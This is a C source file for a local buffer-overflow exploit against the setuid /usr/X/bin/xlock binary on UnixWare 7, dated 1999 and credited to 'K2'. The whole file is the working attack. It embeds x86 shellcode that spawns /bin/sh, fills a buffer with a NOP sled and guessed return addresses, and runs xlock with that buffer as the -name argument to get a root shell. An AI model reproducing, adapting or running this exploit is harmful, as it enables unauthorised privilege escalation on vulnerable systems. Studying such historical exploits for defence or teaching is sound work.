// UnixWare7 /usr/X/bin/xlock local, K2, revisited Oct-30-1999
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char shell[] =
  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

#define SIZE 1200
#define NOPDEF 601
#define DEFOFF -400

const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF;
char buffer[SIZE];

long get_esp()
{
  __asm__("movl %esp,%eax");
}

int main (int argc, char *argv[])
{
  int i;

  if (argc > 1) offset += strtol(argv[1], NULL, 0);
  if (argc > 2) nop += strtoul(argv[2], NULL, 0);
  esp = get_esp();

  memset(buffer, x86_nop, SIZE);
  memcpy(buffer+nop, shell, strlen(shell));
  for (i = nop+strlen(shell); i < SIZE-4; i += 4)
    {
      *((int *) &buffer[i]) = esp+offset;
    }

  printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);
  execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);

  printf("exec failed!\n");
  return 0;
}

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